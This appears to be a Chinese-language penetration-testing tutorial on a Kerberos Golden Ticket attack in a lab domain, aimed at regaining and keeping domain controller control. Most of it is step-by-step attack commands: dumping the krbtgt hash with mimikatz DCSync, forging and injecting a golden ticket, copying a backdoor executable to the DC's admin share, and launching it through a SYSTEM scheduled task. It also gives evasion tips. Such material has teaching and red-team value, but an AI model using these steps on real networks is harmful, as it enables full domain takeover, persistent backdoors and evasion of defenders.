## 一、背景
在域渗透的过程中,在首次拿下DC管理权限后,若是管理员发现存在危险进程,则后门程序将很快失效。这个时候,前面的很多努力也就白费了,后续想要再利用先前的手段将很难再拿下DC!
这个时候,当我们可以通过域控中的**Kerberos**协议来伪造**TGT**重新获得域控的权限,以此来实现权限维持的目的。
## 二、使用条件
实验背景:
DC:192.168.30.149
域内机:192.168.30.28

### 2.1 域名称
- `shell net time /domain`

### 2.2 域的SID值
- `shell whoami /user`

### 2.3 域的krbtgt账号的HASH
- `mimikatz lsadump::dcsync /domain:tech.com /user:krbtgt`
- 这里通过[DcSync](https://zhuanlan.zhihu.com/p/578139455)手段从DC拿到krbtgt账户的哈希值

### 2.4 伪造任意用户名
- 尽量选择`administrator`为伪造的用户名,经测试,部分域内安全设备对该账户检测能力较弱
- 或者选择域内的管理组成员: `shell net group "Domain Admins" /domain`

## 三、攻击
### 3.1 前置信息汇总
- 综上所述,已经获取到了执行PTT(Pass The Ticket)的前置条件
- **Domain Name** : `tech.com`
- **Domain Sid** : `S-1-5-21-199742676-3285635065-2919482456`
- **Krbtgt Hash** : `1db343d97ef3f3dc96e63aa148817cb7`
- **User Name** : `administrator`
### 3.2 重新获取DC权限
- 清空会话中的票据
- `mimikatz kerberos::purge`
- 注:使用本操作将会清空当前会话中的所有票据,一般在注入金票前使用

- 填充票据信息


- 成功注入票据
- 以上操作完成后,将自动使用以下命令注入票据
- `mimikatz kerberos::golden /user:administrator /domain:tech.com /sid:S-1-5-21-199742676-3285635065-2919482456 /krbtgt:1db343d97ef3f3dc96e63aa148817cb7 /endin:480 /renewmax:10080 /ptt`

- 查询会话中存在的票据:
- `mimikatz kerberos::list`
- 注意看票据的生效时间、失效时间以及最后的续订时间
- 在有效期内,可以继续使用票据进行PTT,以此实现权限维持

- 获取DC主机名:
- `shell net time /domain`

- 远程访问DC,准备将后门程序传递到DC
- `shell dir \\dc.tech.com\c$`

- 传递后门到远程主机
- `shell copy C:\Users\test\Desktop\artifact.exe \\dc.tech.com\c$`
- 将受控主机上的后门程序传递到域控主机的C盘根目录

- 于DC创建计划任务
- `shell schtasks /create /s DC.tech.com /tn test /sc onstart /tr c:\artifact.exe /ru system /f`
- 在图形界面中的表现是创建了**任务计划程序**中的任务


- 启动后门程序
- `shell schtasks /run /s DC.tech.com /i /tn "test"`

- 攻击效果
- 通过域内机成功拿下DC控制权限

## 四、补充
- 本次攻击过程被检测到的信息



票据攻击——Golden Ticket